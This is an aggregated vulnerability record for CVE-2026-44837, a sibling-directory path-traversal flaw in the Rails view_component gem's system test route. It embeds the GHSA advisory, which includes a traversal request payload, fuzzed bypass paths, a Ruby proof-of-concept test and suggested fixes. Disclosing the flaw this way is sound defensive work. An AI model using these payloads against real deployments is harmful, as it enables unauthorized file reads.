{"id":"CVE-2026-44837","aliases":["DEBIAN-CVE-2026-44837","EUVD-2026-31971","GHSA-hg3h-g7xc-f7vp","UBUNTU-CVE-2026-44837"],"status":"published","title":"view_component: System Test Entry Point Path Check Allows Sibling Directory Escape","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. This vulnerability is fixed in 4.9.0.","severity":{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00412,"percentile":0.35736,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-187","CWE-22"],"published":"2026-05-08T23:33:58Z","modified":"2026-10-28T02:30:37Z","fixes":[{"ecosystem":"RubyGems","package":"view_component","fixed_in":["4.9.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"ruby-view-component","fixed_in":["4.12.0-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"view_component","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"4.9.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"ruby-view-component","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.53.0-1","2.53.0-2","2.69.0-1","2.74.0-1","2.74.1-1","2.82.0-1","3.12.1-1","3.13.0-1","3.2.0-1","3.8.0-1","4.12.0-1","4.15.0-1","4.4.0-1","4.4.0-2","4.5.0-1","4.8.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"ruby-view-component","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.12.0-1"}]}],"versions":["2.53.0-1","2.53.0-2","2.69.0-1","2.74.0-1","2.74.1-1","2.82.0-1","3.12.1-1","3.13.0-1","3.2.0-1","3.8.0-1","4.4.0-1","4.4.0-2","4.5.0-1","4.8.0-1"]},{"source":"osv","ecosystem":"RubyGems","package":"view_component","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"4.9.0"}]}],"versions":["3.0.0","3.1.0","3.10.0","3.11.0","3.12.0","3.12.1","3.13.0","3.14.0","3.15.0","3.15.1","3.16.0","3.17.0","3.18.0","3.19.0","3.2.0","3.20.0","3.21.0","3.22.0","3.23.0","3.23.1","3.23.2","3.24.0","3.25.0","3.26.0","3.27.0","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0","3.9.0","4.0.0","4.0.0.alpha1","4.0.0.alpha2","4.0.0.alpha3","4.0.0.alpha4","4.0.0.alpha5","4.0.0.alpha6","4.0.0.alpha7","4.0.0.rc1","4.0.0.rc2","4.0.0.rc3","4.0.0.rc4","4.0.0.rc5","4.0.1","4.0.2","4.1.0","4.1.1","4.2.0","4.3.0","4.4.0","4.5.0","4.6.0","4.7.0","4.8.0"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"ruby-view-component","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.82.0-1","3.8.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"ruby-view-component","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.8.0-1","4.12.0-1"]}],"products":[{"vendor":"github","product":"view_component"},{"vendor":"viewcomponent","product":"view_component"}],"references":[{"url":"https://github.com/ViewComponent/view_component/security/advisories/GHSA-hg3h-g7xc-f7vp","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-44837.yml","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44837","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-hg3h-g7xc-f7vp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44837.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-44837","tags":["advisory"]},{"url":"https://github.com/ViewComponent/view_component","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-44837","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44837","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-44837","title":"view_component: System Test Entry Point Path Check Allows Sibling Directory Escape","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. This vulnerability is fixed in 4.9.0.","status":"published","published":"2026-05-26T19:40:47.661Z","modified":"2026-05-28T14:04:27.716Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-187"],"updated_at":"2026-11-02T13:43:00.288193Z"}],"euvd":[{"id":"EUVD-2026-31971","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. This vulnerability is fixed in 4.9.0.","status":"published","published":"2026-05-26T19:40:47Z","modified":"2026-05-28T14:04:27Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T18:21:02.581093Z"}],"ghsa":[{"id":"GHSA-hg3h-g7xc-f7vp","title":"view_component: System Test Entry Point Path Check Allows Sibling Directory Escape","description":"### Summary\n\nThe system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.\n\nSeverity: Medium; test-route scoped.\n\nExample:\n\n```text\nAllowed base:  /app/tmp/view_components\nOutside path:  /app/tmp/view_components_evil/secret.html.erb\n```\n\nThe outside path is not inside the base directory, but it passes:\n\n```ruby\n@path.start_with?(base_path)\n```\n\n### Relevant Code\n\n`app/controllers/view_components_system_test_controller.rb`:\n\n```ruby\nbase_path = ::File.realpath(self.class.temp_dir)\n@path = ::File.realpath(params.permit(:file)[:file], base_path)\nraise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)\n```\n\nThe route then renders the resolved file:\n\n```ruby\nrender file: @path\n```\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb\n```\n\nFlow:\n\n1. `base_path` resolves to `.../tmp/view_components`.\n2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`.\n3. That path is outside the intended temp directory.\n4. The string prefix check still passes.\n5. Rails renders the sibling file.\n\nThe route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.\n\n### Targeted Fuzz Result\n\nThe following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory:\n\n```text\n../view_components_evil/secret.html\n../view_components2/poc.html\n../view_components.bak/poc.html\n../view_components-old/poc.html\n../view_componentsx/poc.html\n```\n\n### PoC Test\n\nCreate `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\nrequire \"fileutils\"\n\nclass SystemTestEntrypointPathTraversalPocTest \u003c ActionDispatch::IntegrationTest\n  def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix\n    base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)\n    parent_dir = File.dirname(base_dir)\n    sibling_dir = File.join(parent_dir, \"#{File.basename(base_dir)}_evil\")\n    outside_file = File.join(sibling_dir, \"secret.html.erb\")\n\n    FileUtils.mkdir_p(sibling_dir)\n    File.write(outside_file, \"\u003cdiv\u003eVC_SYSTEM_TEST_TRAVERSAL_POC\u003c/div\u003e\")\n\n    get \"/_system_test_entrypoint\", params: {\n      file: \"../#{File.basename(base_dir)}_evil/secret.html.erb\"\n    }\n\n    assert_response :success\n    assert_includes response.body, \"VC_SYSTEM_TEST_TRAVERSAL_POC\"\n  ensure\n    FileUtils.rm_f(outside_file) if defined?(outside_file) \u0026\u0026 outside_file\n    Dir.rmdir(sibling_dir) if defined?(sibling_dir) \u0026\u0026 sibling_dir \u0026\u0026 Dir.exist?(sibling_dir)\n  end\nend\n```\n\nRun:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb\n```\n\nVulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`.\n\nFixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file.\n\n### Suggested Fix\n\nUse path-aware containment instead of a raw string prefix. For example:\n\n```ruby\ndef validate_file_path\n  base_path = Pathname.new(::File.realpath(self.class.temp_dir))\n  path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))\n  relative_path = path.relative_path_from(base_path)\n\n  raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == \"..\"\n\n  @path = path.to_s\nend\n```\n\nOr require a separator boundary:\n\n```ruby\nallowed_prefix = \"#{base_path}#{File::SEPARATOR}\"\nunless @path == base_path || @path.start_with?(allowed_prefix)\n  raise ViewComponent::SystemTestControllerNefariousPathError\nend\n```\n\nAdd regression tests for:\n\n- A normal temp file inside `tmp/view_components`\n- `../../README.md`\n- `../view_components_evil/secret.html.erb`\n- A symlink inside the temp directory that resolves outside it","status":"published","published":"2026-05-08T23:33:58Z","modified":"2026-06-08T23:34:33Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22","CWE-187"],"updated_at":"2026-11-02T14:40:21.48274Z"}],"nvd":[{"id":"CVE-2026-44837","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. This vulnerability is fixed in 4.9.0.","status":"published","published":"2026-05-26T21:16:38.853Z","modified":"2026-07-24T11:10:00.17Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-187"],"updated_at":"2026-11-02T14:12:20.511562Z"}],"osv":[{"id":"CVE-2026-44837","title":"view_component: System Test Entry Point Path Check Allows Sibling Directory Escape","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. This vulnerability is fixed in 4.9.0.","status":"published","published":"2026-05-26T19:40:47.661Z","modified":"2026-10-28T02:30:37.42111615Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-187"],"updated_at":"2026-11-02T15:45:05.172514Z"},{"id":"DEBIAN-CVE-2026-44837","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. This vulnerability is fixed in 4.9.0.","status":"published","published":"2026-05-26T21:16:38.853Z","modified":"2026-10-01T03:03:06.195039257Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:55.669088Z"},{"id":"GHSA-hg3h-g7xc-f7vp","title":"view_component: System Test Entry Point Path Check Allows Sibling Directory Escape","description":"### Summary\n\nThe system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.\n\nSeverity: Medium; test-route scoped.\n\nExample:\n\n```text\nAllowed base:  /app/tmp/view_components\nOutside path:  /app/tmp/view_components_evil/secret.html.erb\n```\n\nThe outside path is not inside the base directory, but it passes:\n\n```ruby\n@path.start_with?(base_path)\n```\n\n### Relevant Code\n\n`app/controllers/view_components_system_test_controller.rb`:\n\n```ruby\nbase_path = ::File.realpath(self.class.temp_dir)\n@path = ::File.realpath(params.permit(:file)[:file], base_path)\nraise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)\n```\n\nThe route then renders the resolved file:\n\n```ruby\nrender file: @path\n```\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb\n```\n\nFlow:\n\n1. `base_path` resolves to `.../tmp/view_components`.\n2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`.\n3. That path is outside the intended temp directory.\n4. The string prefix check still passes.\n5. Rails renders the sibling file.\n\nThe route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.\n\n### Targeted Fuzz Result\n\nThe following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory:\n\n```text\n../view_components_evil/secret.html\n../view_components2/poc.html\n../view_components.bak/poc.html\n../view_components-old/poc.html\n../view_componentsx/poc.html\n```\n\n### PoC Test\n\nCreate `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\nrequire \"fileutils\"\n\nclass SystemTestEntrypointPathTraversalPocTest \u003c ActionDispatch::IntegrationTest\n  def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix\n    base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)\n    parent_dir = File.dirname(base_dir)\n    sibling_dir = File.join(parent_dir, \"#{File.basename(base_dir)}_evil\")\n    outside_file = File.join(sibling_dir, \"secret.html.erb\")\n\n    FileUtils.mkdir_p(sibling_dir)\n    File.write(outside_file, \"\u003cdiv\u003eVC_SYSTEM_TEST_TRAVERSAL_POC\u003c/div\u003e\")\n\n    get \"/_system_test_entrypoint\", params: {\n      file: \"../#{File.basename(base_dir)}_evil/secret.html.erb\"\n    }\n\n    assert_response :success\n    assert_includes response.body, \"VC_SYSTEM_TEST_TRAVERSAL_POC\"\n  ensure\n    FileUtils.rm_f(outside_file) if defined?(outside_file) \u0026\u0026 outside_file\n    Dir.rmdir(sibling_dir) if defined?(sibling_dir) \u0026\u0026 sibling_dir \u0026\u0026 Dir.exist?(sibling_dir)\n  end\nend\n```\n\nRun:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb\n```\n\nVulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`.\n\nFixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file.\n\n### Suggested Fix\n\nUse path-aware containment instead of a raw string prefix. For example:\n\n```ruby\ndef validate_file_path\n  base_path = Pathname.new(::File.realpath(self.class.temp_dir))\n  path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s))\n  relative_path = path.relative_path_from(base_path)\n\n  raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == \"..\"\n\n  @path = path.to_s\nend\n```\n\nOr require a separator boundary:\n\n```ruby\nallowed_prefix = \"#{base_path}#{File::SEPARATOR}\"\nunless @path == base_path || @path.start_with?(allowed_prefix)\n  raise ViewComponent::SystemTestControllerNefariousPathError\nend\n```\n\nAdd regression tests for:\n\n- A normal temp file inside `tmp/view_components`\n- `../../README.md`\n- `../view_components_evil/secret.html.erb`\n- A symlink inside the temp directory that resolves outside it","status":"published","published":"2026-05-08T23:33:58Z","modified":"2026-09-10T03:50:47.065129392Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-187","CWE-22"],"updated_at":"2026-11-02T15:46:48.920784Z"},{"id":"UBUNTU-CVE-2026-44837","description":"view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. From 3.0.0 to 4.9.0, the system test entrypoint canonicalizes a user-controlled file path with File.realpath, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. This vulnerability is fixed in 4.9.0.","status":"published","published":"2026-05-26T21:16:00Z","modified":"2026-10-17T13:00:10.6403272Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:26.396868Z"}]}}
